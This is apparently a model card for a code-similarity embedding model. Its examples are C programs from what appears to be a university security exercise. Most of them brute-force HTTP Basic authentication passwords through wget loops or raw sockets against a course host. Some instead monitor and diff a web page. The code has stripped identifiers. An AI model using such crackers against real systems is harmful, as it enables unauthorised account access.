metadata
tags:
- sentence-transformers
- sentence-similarity
- feature-extraction
- dense
- generated_from_trainer
- dataset_size:3081
- loss:BatchAllTripletLoss
base_model: uclanlp/plbart-java-cs
widget:
- source_sentence: "\n\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <time.h>\n\nint () \n{\n int i,j,k,cntr=0;\n char pass[3];\n char password[3];\n char get[96];\n char username[]=\"\";\n int R_VALUE;\n double time_used;\n \n clock_t ,end; \n \n =clock(); \n \n \n \n for (i = 65; i <= 122; i++)\n {\n if(i==91) {i=97;}\n \n for (j = 65; j <= 122; j++)\n\t {\n if(j==91) {j=97;}\n \n for (k = 65; k <= 122; k++)\n\t\t {\n if(k==91) {k=97;} \n \n pass[0] = i;\n pass[1] = j;\n\t pass[2] = k;\n sprintf(password,\"%c%c%c\",pass[0],pass[1],pass[2]); \n cntr++;\n\t \n\t\t\t printf(\"%d )%s\\n\\n\", cntr, password);\n sprintf(get,\"wget --non-verbose --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/\",username,password);\n \n\n\t R_VALUE=system(get);\n\t \n\t if(R_VALUE==0) \n\t\t\t {\n\t\t printf(\"The Password has been cracked and it is : %s\" , password);\n\t\t exit(0);\n\t\t\t }\n\t\t }\n \n\t }\n \n }\n \n end = clock();\n\ntime_used = ((double) (end - )) / CLOCKS_PER_SEC;\n\nprintf(\"time_used = %f\\n\", time_used);\n}\n\n"
sentences:
- "\n\n\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n#include <time.h>\n#include <netdb.h>\n#include <unistd.h>\n#include <netinet/in.h>\n#include <sys/types.h>\n#include <sys/socket.h>\n#include <sys/time.h>\n#include <arpa/inet.h>\n#include <errno.h>\n#include <signal.h>\n\n#define BUFFER_SIZE 2000\n#define RETURN_OK 0\n#define RETURN_ERROR 1\n#define TRUE 1\n#define FALSE 0\n#define PASSWORD_LENGTH 3\n\n#define STATUS_OK 200\n#define STATUS_AUTH_REQUIRED 401\n#define CONN_CLOSED 2\n\n\nchar *host;\nchar *filename;\nint ;\nchar *url;\nchar *username;\nint attempt;\nstruct sockaddr_in serverAddr;\n\n\nvoid processArguments(int, char **argv, char **, char **);\nvoid printUsage(char *);\nvoid splitURL(const char *, char **, char **);\nint openConnection();\nvoid initialiseConnection();\nvoid sendRequest(int, char *, char *, char *, char *);\nint getResponseStatus(int);\nvoid base64_encode(const unsigned char *, unsigned char *);\nvoid getHostErrorMsg(char *);\nvoid generatePassword(char *, int);\nvoid testPassword(char *);\n\n\n\n\nint main(int argc, char *argv[])\n{\n char password[PASSWORD_LENGTH+1];\n int i;\n\n \n\n attempt = 0;\n processArguments(argc, argv, &url, &username);\n splitURL(url, &host, &filename);\n\n initialiseConnection();\n = openConnection();\n\n \n\n for (i=1; i<=PASSWORD_LENGTH; i++)\n {\n memset(password, 0, PASSWORD_LENGTH+1);\n generatePassword(password, i);\n }\n\n printf(\"The password has not been cracked\\n\");\n exit(RETURN_OK);\n\n}\n\n\n\n\nvoid generatePassword(char *password, int reqLength)\n{\n static const char *chars = \n \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\";\n\n int currLength;\n int i;\n\n currLength = strlen(password);\n currLength++;\n\n for (i=0; i<strlen(chars); i++)\n {\n password[currLength-1] = chars[i];\n\n if (strlen(password) != reqLength)\n {\n \n generatePassword(password, reqLength);\n }\n else\n {\n testPassword(password);\n }\n\n password[currLength] = '\\0';\n }\n}\n\n\n\n\nvoid testPassword(char *password)\n{\n int status;\n\n attempt++;\n\n \nTestPassword:\n sendRequest(, host, filename, username, password);\n status = getResponseStatus();\n\n if (status == STATUS_OK)\n {\n printf(\"The password has been found after %d attempts: %s\\n\",\n attempt, password);\n exit(RETURN_OK);\n }\n else if (status == CONN_CLOSED)\n {\n \n ();\n = openConnection();\n goto TestPassword; \n }\n else if (status != STATUS_AUTH_REQUIRED)\n {\n printf(\"Status %d received from server\\n\", status);\n exit(RETURN_ERROR);\n }\n\n}\n\n\n\n\nvoid processArguments(int argc, char *argv[], char **url, char **username)\n{\n if (argc != 3)\n {\n printUsage(argv[0]);\n exit(1);\n }\n\n *url = (char *) malloc(strlen(argv[1] + 1));\n strcpy(*url, argv[1]);\n\n *username = (char *) malloc(strlen(argv[2] + 1));\n strcpy(*username, argv[2]);\n\n}\n\n\n\n\n\nvoid printUsage(char *program)\n{\n fprintf(stderr, \"Usage:\\n\");\n fprintf(stderr, \"%s url username\\n\", program);\n}\n\n\n\n\nvoid splitURL(const char *url, char **host, char **file)\n{\n char *p1; \n char *p2;\n\n \n p1 = strstr(url, \"//\");\n if (p1 == NULL)\n p1 = (char *) url;\n else\n p1 = p1 + 2;\n\n \n p2 = strstr(p1, \"/\");\n if (p2 == NULL)\n {\n fprintf(stderr, \"Invalid url\\n\");\n exit(RETURN_ERROR);\n }\n\n *host = (char *) malloc(p2-p1+2);\n strncpy(*host, p1, p2-p1);\n (*host)[p2-p1] = '\\0';\n\n *file = (char *) malloc(strlen(p2+1));\n strcpy(*file, p2);\n\n}\n\n\n\n\nvoid sendRequest(int , char *host, char *filename, char *username, \n char *password)\n{\n char message[BUFFER_SIZE];\n unsigned char encoded[BUFFER_SIZE];\n unsigned char token[BUFFER_SIZE];\n\n \n\n \n sprintf((char *) token, \"%s:%s\", username, password);\n base64_encode(token, encoded);\n\n sprintf(message, \"GET %s HTTP/1.1\\nHost: %s\\nAuthorization: %s\\n\\n\",\n filename, host, encoded);\n\n if (write(, message, strlen(message)) == -1)\n {\n perror(\"\");\n exit(RETURN_ERROR);\n }\n}\n\n\n\n\nint getResponseStatus()\n{\n char message[BUFFER_SIZE];\n int bytesRead;\n char *p1;\n char status_str[4];\n int status;\n\n \n\n while (TRUE)\n {\n bytesRead = (, message, BUFFER_SIZE-1);\n if (bytesRead == -1)\n {\n perror(\"\");\n exit(RETURN_ERROR);\n }\n else if (bytesRead == 0)\n {\n \n return CONN_CLOSED;\n }\n\n message[bytesRead+1] = '\\0';\n\n \n p1 = strstr(message, \"HTTP\");\n if (p1 != NULL)\n {\n p1 = p1 + 9;\n break;\n }\n }\n\n strncpy(status_str, p1, 3);\n status_str[3] = '\\0';\n status = atol(status_str);\n\n return status;\n}\n\n\n\n\nint openConnection()\n{\n int ;\n\n if (( = socket(AF_INET, SOCK_STREAM, 0)) == -1)\n {\n perror(\"\");\n exit(RETURN_ERROR);\n }\n\n if (connect(, (struct sockaddr *) &serverAddr, sizeof(serverAddr)) == -1)\n {\n perror(\"connect\");\n exit(RETURN_ERROR);\n }\n\n return ;\n}\n\n\n\n\nvoid initialiseConnection()\n{\n struct hostent *serverHostent;\n unsigned serverIP;\n char errorMsg[BUFFER_SIZE]; \n\n\n \n\n memset(&serverAddr, 0, sizeof(serverAddr));\n serverAddr.sin_port = htons(80);\n\n\n if ((serverIP = inet_addr(host)) != -1)\n {\n serverAddr.sin_family = AF_INET;\n serverAddr.sin_addr.s_addr = serverIP;\n }\n else if ((serverHostent = gethostbyname(host)) != NULL)\n {\n\tserverAddr.sin_family = serverHostent->h_addrtype;\n memcpy((void *) &serverAddr.sin_addr,\n\t\t (void *) serverHostent->h_addr, serverHostent->h_length);\n }\n else\n {\n getHostErrorMsg(errorMsg);\n printf(\"%s: %s\\n\", host, errorMsg);\n exit(RETURN_ERROR);\n }\n}\n\n\n\n \nvoid base64_encode(const unsigned char *input, unsigned char *output)\n{\n static const char *codes = \n \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n\n int i;\n int len;\n int lenfull;\n unsigned char *p;\n int a;\n int b;\n int c;\n \n p = output;\n len = strlen((char *) input);\n\n \n\n lenfull = 3*(len / 3);\n for (i = 0; i < lenfull; i += 3) \n {\n *p++ = codes[input[0] >> 2];\n *p++ = codes[((input[0] & 3) << 4) + (input[1] >> 4)];\n *p++ = codes[((input[1] & 0xf) << 2) + (input[2] >> 6)];\n *p++ = codes[input[2] & 0x3f];\n input += 3;\n }\n\n\n \n\n if (i < len)\n {\n a = input[0];\n b = (i+1 < len) ? input[1] : 0;\n c = 0;\n\n *p++ = codes[a >> 2];\n *p++ = codes[((a & 3) << 4) + (b >> 4)];\n *p++ = (i+1 < len) ? codes[((b & 0xf) << 2) + (c >> 6)] : '=';\n *p++ = '=';\n }\n\n \n *p = '\\0';\n \n}\n\n\n\n\nvoid getHostErrorMsg(char *message)\n{\n switch (h_errno)\n {\n HOST_NOT_FOUND :\n strcpy(message, \"The specified host is unknown\");\n break;\n\n NO_DATA:\n strcpy(message, \"The specified host name is valid, but does not have address\");\n break;\n\n NO_RECOVERY:\n strcpy(message, \"A non-recoverable name server error occurred\");\n break;\n\n TRY_AGAIN:\n strcpy(message, \"A temporary error occurred authoritative name server. Try again later.\");\n break;\n\n default:\n strcpy(message, \" unknown name server error occurred.\");\n }\n}\n\n"
- "\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/times.h>\n#include <strings.h>\n#include <ctype.h>\n#define OneBillion 1e9 \n\nint (){\n int i=65,j=65,k=65,count=0,res=1;\n char arry[3],send[100];\n int startTime, stopTime, final;\n startTime = time();\n for(i;i<123;i++){\n if(i<91 || i>96){\n arry[0]=i;\n\t j=65;\n\t for(j;j<123;j++){\n\t if(j<91 || j>96){\n\t arry[1]=j;\n\t k=65;\n\t for(k;k<123;k++){\n\t\t if(k<91 || k>96){\n\t\t arry[2]=k;\n\t\t arry[3]='\\0';\n\t\t strcpy(send,\"wget --http-user= --http-passwd=\");\n\t\t strcat(send,arry);\n\t\t strcat(send,\" http://sec-crack.cs.rmit.edu./SEC/2/\");\n\t\t count++;\n\t if((res=(system(send)) == 0)) {\n\t\t stopTime = time();\n\t\t\tfinal = stopTime-startTime;\n\t\t\tprintf(\"\\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds & OF COMPARISIONs = %d\\n\",arry,(double)final/OneBillion,count);\n\t\t\texit(1);\n\t\t }\n\t\t }\n\t }\n }\n }\n }\n }\n printf(\"\\npassword not found\\n\");\n exit(1);\n}\n"
- |
#include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
#include <strings.h>
#include <ctype.h>
int ()
{
char word[15], *chk;
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mkdir one");
system("mv www.cs.rmit.edu./images/*.* one/");
system("mv www.cs.rmit.edu./students/*.* one/");
sleep(15);
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mkdir two");
system("mv www.cs.rmit.edu./images/*.* two/");
system("mv www.cs.rmit.edu./students/*.* two/");
system("diff one two > difference.txt");
system("mailx -s \"Message1\" < difference.txt");
return 0;
}
- source_sentence: |+
#include<stdio.h>
#include<stdlib.h>
#include<sys/types.h>
#include<sys/times.h>
#include<sys/time.h>
#include<unistd.h>
#include<strings.h>
int ()
{
char url[100];
char syscom[]= "wget -nv --http-user= --http-passwd=";
char http[] = "http://sec-crack.cs.rmit.edu./SEC/2/ ";
FILE *fp;
char pass[15], *valid;
valid = "pass";
int , end, time_var;
int hack =1;
int attempt =1;
fp = fopen("words.txt","r");
if (fp == NULL)
exit(1);
= time();
while (valid != NULL)
{
valid = fgets(pass,15,fp);
pass[strlen(pass)-1] ='\0';
if(strlen(pass) != 3)
continue;
printf("%s\n",pass);
sprintf(url,"%s%s %s",syscom,pass,http);
hack = system(url);
attempt++;
if (hack == 0)
{
end = time();
time_var = (end-);
printf("\nThe password is :%s",pass);
printf("\nNo. of Attempts crack the password :%d",attempt);
printf("\nTime taken crack the password = %lld sec\n",time_var/1000000000);
exit(1);
}
}
exit(1);
}
sentences:
- "\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/times.h>\n#include <strings.h>\n#include <ctype.h>\n#define OneBillion 1e9 \n\nint (){\n int i=65,j=65,k=65,count=0,res=1;\n char arry[3],send[100];\n int startTime, stopTime, final;\n startTime = time();\n for(i;i<123;i++){\n if(i<91 || i>96){\n arry[0]=i;\n\t j=65;\n\t for(j;j<123;j++){\n\t if(j<91 || j>96){\n\t arry[1]=j;\n\t k=65;\n\t for(k;k<123;k++){\n\t\t if(k<91 || k>96){\n\t\t arry[2]=k;\n\t\t arry[3]='\\0';\n\t\t strcpy(send,\"wget --http-user= --http-passwd=\");\n\t\t strcat(send,arry);\n\t\t strcat(send,\" http://sec-crack.cs.rmit.edu./SEC/2/\");\n\t\t count++;\n\t if((res=(system(send)) == 0)) {\n\t\t stopTime = time();\n\t\t\tfinal = stopTime-startTime;\n\t\t\tprintf(\"\\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds & OF COMPARISIONs = %d\\n\",arry,(double)final/OneBillion,count);\n\t\t\texit(1);\n\t\t }\n\t\t }\n\t }\n }\n }\n }\n }\n printf(\"\\npassword not found\\n\");\n exit(1);\n}\n"
- "#include <stdio.h>\n#include <stdlib.h>\n#include <sys/time.h>\n\nchar *bruteforce(int *attempts);\n\n\nint (void){\n\n int i, counter;\n int Timetaken;\n int initTime = 0, exitTime = 0;\n initTime = time();\n bruteforce(&counter);\n exitTime = time();\n Timetaken = exitTime - initTime;\n printf(\"\\nTime taken is %lld millisecond\\n\", (Timetaken)/());\n printf(\"\\nNumber of attempts is... %d\", counter);\n return 0;\n}\n\n\nchar *bruteforce(int *attempts){ \n \n FILE *fp;\n char ch[100];\n\t*attempts=0;\n\n fp = fopen(\"/usr/share/lib/dict/words\", \"r\");\n if (fp == NULL) {\n printf(\"file not open\");\n }\n while (fgets(ch, 100, fp) != NULL){\n\t\n\t\t(*attempts)++;\n\n int j = 0;\n while (j <= 100){\n\n if (ch[j] == '\\n') {\n ch[j] = '\\0';\n break;\n }\n j = j + 1;\n }\n\t\t \n char [100] = \"wget --http-user= --http-passwd=\";\n strcat(, ch);\n strcat(, \" http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n printf(\"%s\\n\", );\n if (system() == 0){\n printf(\"Password cracked successfully: \");\n printf(\"Password is %s\", ch);\n return NULL;\n }\n }\n \n fclose(fp);\n}\n"
- "\n\n\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n#include <time.h>\n#include <netdb.h>\n#include <unistd.h>\n#include <netinet/in.h>\n#include <sys/types.h>\n#include <sys/socket.h>\n#include <sys/time.h>\n#include <arpa/inet.h>\n#include <errno.h>\n#include <signal.h>\n\n#define BUFFER_SIZE 2000\n#define RETURN_OK 0\n#define RETURN_ERROR 1\n#define TRUE 1\n#define FALSE 0\n#define PASSWORD_LENGTH 3\n\n#define STATUS_OK 200\n#define STATUS_AUTH_REQUIRED 401\n#define CONN_CLOSED 2\n\n\nchar *host;\nchar *filename;\nint ;\nchar *url;\nchar *username;\nint attempt;\nstruct sockaddr_in serverAddr;\n\n\nvoid processArguments(int, char **argv, char **, char **);\nvoid printUsage(char *);\nvoid splitURL(const char *, char **, char **);\nint openConnection();\nvoid initialiseConnection();\nvoid sendRequest(int, char *, char *, char *, char *);\nint getResponseStatus(int);\nvoid base64_encode(const unsigned char *, unsigned char *);\nvoid getHostErrorMsg(char *);\nvoid generatePassword(char *, int);\nvoid testPassword(char *);\n\n\n\n\nint main(int argc, char *argv[])\n{\n char password[PASSWORD_LENGTH+1];\n int i;\n\n \n\n attempt = 0;\n processArguments(argc, argv, &url, &username);\n splitURL(url, &host, &filename);\n\n initialiseConnection();\n = openConnection();\n\n \n\n for (i=1; i<=PASSWORD_LENGTH; i++)\n {\n memset(password, 0, PASSWORD_LENGTH+1);\n generatePassword(password, i);\n }\n\n printf(\"The password has not been cracked\\n\");\n exit(RETURN_OK);\n\n}\n\n\n\n\nvoid generatePassword(char *password, int reqLength)\n{\n static const char *chars = \n \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\";\n\n int currLength;\n int i;\n\n currLength = strlen(password);\n currLength++;\n\n for (i=0; i<strlen(chars); i++)\n {\n password[currLength-1] = chars[i];\n\n if (strlen(password) != reqLength)\n {\n \n generatePassword(password, reqLength);\n }\n else\n {\n testPassword(password);\n }\n\n password[currLength] = '\\0';\n }\n}\n\n\n\n\nvoid testPassword(char *password)\n{\n int status;\n\n attempt++;\n\n \nTestPassword:\n sendRequest(, host, filename, username, password);\n status = getResponseStatus();\n\n if (status == STATUS_OK)\n {\n printf(\"The password has been found after %d attempts: %s\\n\",\n attempt, password);\n exit(RETURN_OK);\n }\n else if (status == CONN_CLOSED)\n {\n \n ();\n = openConnection();\n goto TestPassword; \n }\n else if (status != STATUS_AUTH_REQUIRED)\n {\n printf(\"Status %d received from server\\n\", status);\n exit(RETURN_ERROR);\n }\n\n}\n\n\n\n\nvoid processArguments(int argc, char *argv[], char **url, char **username)\n{\n if (argc != 3)\n {\n printUsage(argv[0]);\n exit(1);\n }\n\n *url = (char *) malloc(strlen(argv[1] + 1));\n strcpy(*url, argv[1]);\n\n *username = (char *) malloc(strlen(argv[2] + 1));\n strcpy(*username, argv[2]);\n\n}\n\n\n\n\n\nvoid printUsage(char *program)\n{\n fprintf(stderr, \"Usage:\\n\");\n fprintf(stderr, \"%s url username\\n\", program);\n}\n\n\n\n\nvoid splitURL(const char *url, char **host, char **file)\n{\n char *p1; \n char *p2;\n\n \n p1 = strstr(url, \"//\");\n if (p1 == NULL)\n p1 = (char *) url;\n else\n p1 = p1 + 2;\n\n \n p2 = strstr(p1, \"/\");\n if (p2 == NULL)\n {\n fprintf(stderr, \"Invalid url\\n\");\n exit(RETURN_ERROR);\n }\n\n *host = (char *) malloc(p2-p1+2);\n strncpy(*host, p1, p2-p1);\n (*host)[p2-p1] = '\\0';\n\n *file = (char *) malloc(strlen(p2+1));\n strcpy(*file, p2);\n\n}\n\n\n\n\nvoid sendRequest(int , char *host, char *filename, char *username, \n char *password)\n{\n char message[BUFFER_SIZE];\n unsigned char encoded[BUFFER_SIZE];\n unsigned char token[BUFFER_SIZE];\n\n \n\n \n sprintf((char *) token, \"%s:%s\", username, password);\n base64_encode(token, encoded);\n\n sprintf(message, \"GET %s HTTP/1.1\\nHost: %s\\nAuthorization: %s\\n\\n\",\n filename, host, encoded);\n\n if (write(, message, strlen(message)) == -1)\n {\n perror(\"\");\n exit(RETURN_ERROR);\n }\n}\n\n\n\n\nint getResponseStatus()\n{\n char message[BUFFER_SIZE];\n int bytesRead;\n char *p1;\n char status_str[4];\n int status;\n\n \n\n while (TRUE)\n {\n bytesRead = (, message, BUFFER_SIZE-1);\n if (bytesRead == -1)\n {\n perror(\"\");\n exit(RETURN_ERROR);\n }\n else if (bytesRead == 0)\n {\n \n return CONN_CLOSED;\n }\n\n message[bytesRead+1] = '\\0';\n\n \n p1 = strstr(message, \"HTTP\");\n if (p1 != NULL)\n {\n p1 = p1 + 9;\n break;\n }\n }\n\n strncpy(status_str, p1, 3);\n status_str[3] = '\\0';\n status = atol(status_str);\n\n return status;\n}\n\n\n\n\nint openConnection()\n{\n int ;\n\n if (( = socket(AF_INET, SOCK_STREAM, 0)) == -1)\n {\n perror(\"\");\n exit(RETURN_ERROR);\n }\n\n if (connect(, (struct sockaddr *) &serverAddr, sizeof(serverAddr)) == -1)\n {\n perror(\"connect\");\n exit(RETURN_ERROR);\n }\n\n return ;\n}\n\n\n\n\nvoid initialiseConnection()\n{\n struct hostent *serverHostent;\n unsigned serverIP;\n char errorMsg[BUFFER_SIZE]; \n\n\n \n\n memset(&serverAddr, 0, sizeof(serverAddr));\n serverAddr.sin_port = htons(80);\n\n\n if ((serverIP = inet_addr(host)) != -1)\n {\n serverAddr.sin_family = AF_INET;\n serverAddr.sin_addr.s_addr = serverIP;\n }\n else if ((serverHostent = gethostbyname(host)) != NULL)\n {\n\tserverAddr.sin_family = serverHostent->h_addrtype;\n memcpy((void *) &serverAddr.sin_addr,\n\t\t (void *) serverHostent->h_addr, serverHostent->h_length);\n }\n else\n {\n getHostErrorMsg(errorMsg);\n printf(\"%s: %s\\n\", host, errorMsg);\n exit(RETURN_ERROR);\n }\n}\n\n\n\n \nvoid base64_encode(const unsigned char *input, unsigned char *output)\n{\n static const char *codes = \n \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n\n int i;\n int len;\n int lenfull;\n unsigned char *p;\n int a;\n int b;\n int c;\n \n p = output;\n len = strlen((char *) input);\n\n \n\n lenfull = 3*(len / 3);\n for (i = 0; i < lenfull; i += 3) \n {\n *p++ = codes[input[0] >> 2];\n *p++ = codes[((input[0] & 3) << 4) + (input[1] >> 4)];\n *p++ = codes[((input[1] & 0xf) << 2) + (input[2] >> 6)];\n *p++ = codes[input[2] & 0x3f];\n input += 3;\n }\n\n\n \n\n if (i < len)\n {\n a = input[0];\n b = (i+1 < len) ? input[1] : 0;\n c = 0;\n\n *p++ = codes[a >> 2];\n *p++ = codes[((a & 3) << 4) + (b >> 4)];\n *p++ = (i+1 < len) ? codes[((b & 0xf) << 2) + (c >> 6)] : '=';\n *p++ = '=';\n }\n\n \n *p = '\\0';\n \n}\n\n\n\n\nvoid getHostErrorMsg(char *message)\n{\n switch (h_errno)\n {\n HOST_NOT_FOUND :\n strcpy(message, \"The specified host is unknown\");\n break;\n\n NO_DATA:\n strcpy(message, \"The specified host name is valid, but does not have address\");\n break;\n\n NO_RECOVERY:\n strcpy(message, \"A non-recoverable name server error occurred\");\n break;\n\n TRY_AGAIN:\n strcpy(message, \"A temporary error occurred authoritative name server. Try again later.\");\n break;\n\n default:\n strcpy(message, \" unknown name server error occurred.\");\n }\n}\n\n"
- source_sentence: "#include <stdio.h>\n#include <stdlib.h>\n#include <ctype.h>\n#include <string.h>\n#include <sys/time.h>\n\n#define SUCCESS 0;\n\nint ()\n{\t\n\t\n\tsystem(\"rm index.*\");\t\n\tsystem(\"wget --non-verbose http://www.cs.rmit.edu./students\");\n\tsystem(\"sleep 10\");\n\tsystem(\"wget --non-verbose http://www.cs.rmit.edu./students\");\t\t\n\tsystem(\"diff index.html index.html.1 >> output.txt\");\n\tprintf(\"Comparison stored in output.txt\");\n\tsystem(\"mutt -a output.txt @cs.rmit.edu. \");\n\t\n\treturn SUCCESS;\n}\n"
sentences:
- "#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n#include<strings.h>\n#include <ctype.h>\n#include <math.h>\n#include <sys/time.h>\n\nint\n()\n{\n\n\tint , end;\n\tFILE *fp;\n\tint i, j;\n\tchar input;\n\tchar password[30];\n\tint check;\n\n\tfloat total_time;\n\tint number;\n\t = time();\n\n\n\tif ((fp = fopen(\"words\", \"r\")) == NULL) {\n\t\tfprintf(stderr, \"Error : Failed open words for .\\n\");\n\t\treturn (EXIT_FAILURE);\n\t}\n\twhile ((input = fgetc(fp)) != EOF) {\n\t\tj = 0;\n\t\tfor (i = 0; i < 30; i++)\n\t\t\tpassword[i] = '\\0';\n\n\t\twhile(input != '\\n' ) {\n\n\t\t\tpassword[j] = input;\n\t\t\tj++;\n\t\t\tinput = fgetc(fp);\n\t\t\t\n\t\t\n\t\t}\n\n\n\t\tif (strlen(password) <= 3) {\n\t\t\tprintf(\"%s\\t\",password);\n\t\t\tfflush(stdout);\n\t\t\tcheck = SysCall(password);\n\t\t\tif (check == 0) {\n\t\t\t\tgetpid();\n\t\t\t\tend = time();\n\t\t\t\ttotal_time = (end - ) / 1e9;\n\t\t\t\tprintf(\"\\ntotal time_var = %f \", total_time);\n\t\t\t\tprintf(\"\\n\\nAvg getpid() time_var = %f usec\\n\", total_time);\n\t\t\t\tprintf(\"\\navg time_var %f / %d = %f\\n\", total_time, number, total_time / number);\n\t\t\t\texit(0);\n\t\t\t}\n\t\t}\n\n\t}\n\n\treturn (EXIT_SUCCESS);\n}\nint\nSysCall(char *password)\n{\n\tchar url1[255], url2[255], [255];\n\tint rettype;\n\trettype = 0;\n\tstrcpy(url1, \"wget --non-verbose --http-user= --http-passwd=\");\n\tstrcpy(url2, \" http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n\n\tstrcat(, url1);\n\tstrcat(, password);\n\tstrcat(, url2);\n\n\trettype = system();\n\t\n\tif (rettype == 0) {\n\t\tprintf(\"Successfully retrieved password: %s\\n\", password);\n\t\treturn 0;\n\t}\n\tstrcpy(, \"\");\n}\n"
- "#include <stdio.h>\n#include <stdlib.h>\n#include <sys/times.h>\n#include <strings.h>\n#include <string.h>\n#include <ctype.h>\n\n\n\nint ()\n{\n int i,j,k,sysoutput;\n char pass[4],b[50], a[50],c[51] ,[2],string1[100],string2[100],temp1[3];\n char arr[52] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',\n 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};\n strcpy(string1, \"wget --http-user= --http-passwd=\");\n strcpy(string2, \" http://sec-crack.cs.rmit.edu./SEC/2/\");\n \n for (i=0;i<=52;i++)\n { \n [0] = arr[i];\n [1] ='\\0'; \n strcpy(a,);\n \n printf(\"The first value is %s \\n\", a); \t\n\n for (j=0;j<=52;j++)\n { [0] = arr[j];\n [1] = '\\0'; \n\t strcpy(temp1,a);\n\t strcat(a,);\n\t strcpy(b,a);\n\t strcpy(a,temp1);\n\t printf(\"The second value is %s \\n\", b); \t \n\tfor(k=0;k<=52;k++)\n\t { \n\t [0] =arr[k];\n\t [1] = '\\0';\n\t strcpy(temp1,b);\n\t strcat(b,);\n\t strcpy(pass,b);\n\t strcpy(b,temp1);\n\t pass[0] = arr[i];\n pass[1]= arr[j];\n pass[2]= arr[k];\n pass[3] = '\\0';\n\t\tprintf(\" the third value of the %s \\n\" ,pass); \n \n\n\t\tprintf(\"%s\\n\",pass);\n\t printf(\"*********\\n\" );\n strcat(string1, pass);\n strcat(string1, string2);\n\t printf(\"\\n executing %s\\n\", string1);\n sysoutput = system(string1);\n if (sysoutput == 0)\n {\n printf(\"\\nsuccess %d %s\\n\",sysoutput,pass);\n exit(1);\n }\n\n\n\t strcpy(string1, \"\");\n\t strcpy(string1, \"wget --http-user= --http-passwd=\");\n \n\t }\n \t} \n }\n } \n \n \n \n \n \n \n \n"
- "#include<stdio.h>\n#include<stdlib.h>\n#include<strings.h>\n#include<ctype.h>\n#include <sys/time.h>\n#define OneBillion 1e9\n\n\nint ()\n{ int startTime, stopTime, final;\n int i,j,k;\n int pass,count=0;\n char arr[52] ={'A','a','B','b','C','c','D','d','E','e','F','f','G','g','H','h','I','i','J','j','K','k','L','l','M','m','N','n','O','o','P','p','Q','q','R','r','S','s','T','t','U','u','V','v','W','w','X','x','Y','y','Z','z'};\n char [4];\n char url1[100];\n char url2[100];\n\n startTime = time();\n for (i=0;i<=52;i++)\n {\n\n for (j=0;j<=52;j++)\n {\n\n\tfor(k=0;k<=52;k++)\n\n\t { \n\t count++;\n [0] = arr[i];\n\t [1] = arr[j];\n\t [2] = arr[k];\n\t [3] = '\\0';\n\n\n\t printf(\"Checking for the word :%s\\n\",);\n\t strcpy(url1 ,\"wget --http-user= --http-passwd=\");\n\t strcpy(url2 , \" -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ \");\n\t strcat(url1,);\n\t strcat(url1,url2);\n\n\n\t pass = system(url1);\n\t if (pass == 0)\n\t { \n printf(\"Success\\n\");\n\t\tprintf(\"Number of attempts = %d\\n\",count);\n\t stopTime = time();\n\n final = stopTime-startTime;\n\t\tprintf(\"The password for the user : %s\\n\",); \n printf(\" Cracked the password in %lld nanoseconds (%1f seconds) \\n\",final,(double)final/OneBillion);\n\t \n\t\texit(1);}\n\n\n\t }\n }\n\n }\n }\n\n\n"
- source_sentence: "\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\nint (int argc, char *argv[])\n {\n FILE *fp;\n \n while(1)\n { \n system(\"wget -p http://www.cs.rmit.edu./students\");\n\n\n\n system(\"mkdir data\"); \n if((fp=fopen(\"./data/index.html\",\"r\"))==NULL)\n { \n system(\"cp www.cs.rmit.edu./students/index.html ./data\");\n\t \n }\n else\n { \n \n\t \n\t system(\"diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.\");\n\t system(\"cp www.cs.rmit.edu./students/index.html ./data\");\n } \n\n\n\n system(\"mkdir images\"); \n if((fp=fopen(\"./images/file.txt\",\"r\"))==NULL)\n { \n system(\"md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt\");\n\t\t \n }\n \n else\n { \n system(\"md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt\");\n\t \n\t \n\t \n\t system(\"diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.\");\n\t system(\"cp www.cs.rmit.edu./file.txt ./images\");\n }\n sleep(86400); \n }\t\n return (EXIT_SUCCESS);\n }\n \n\t \n\t \t\n"
sentences:
- >+
#define _REENTRANT
#include <sys/time.h>
#include <sys/types.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdarg.h>
#include <unistd.h>
#include <errno.h>
#include <ctype.h>
#include <pthread.h>
#include <signal.h>
#define MAX_THREADS 1000
#define MAX_COMBO
#define false 0
#define true 1
static char
*alphabet="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
static char **combination=NULL;
static char host[128];
pthread_mutex_t counter_lock = PTHREAD_MUTEX_INITIALIZER;
pthread_mutex_t thread_lock = PTHREAD_MUTEX_INITIALIZER;
pthread_cond_t start_hacking = PTHREAD_COND_INITIALIZER;
pthread_cond_t thread_ready = PTHREAD_COND_INITIALIZER;
static int attempt_count=0;
static int combo_entries=0;
static struct timeval ;
static struct timeval stop;
static int thread_ready_indicator=false;
static int thread_start_indicator=false;
static int thread_count=0;
typedef struct range
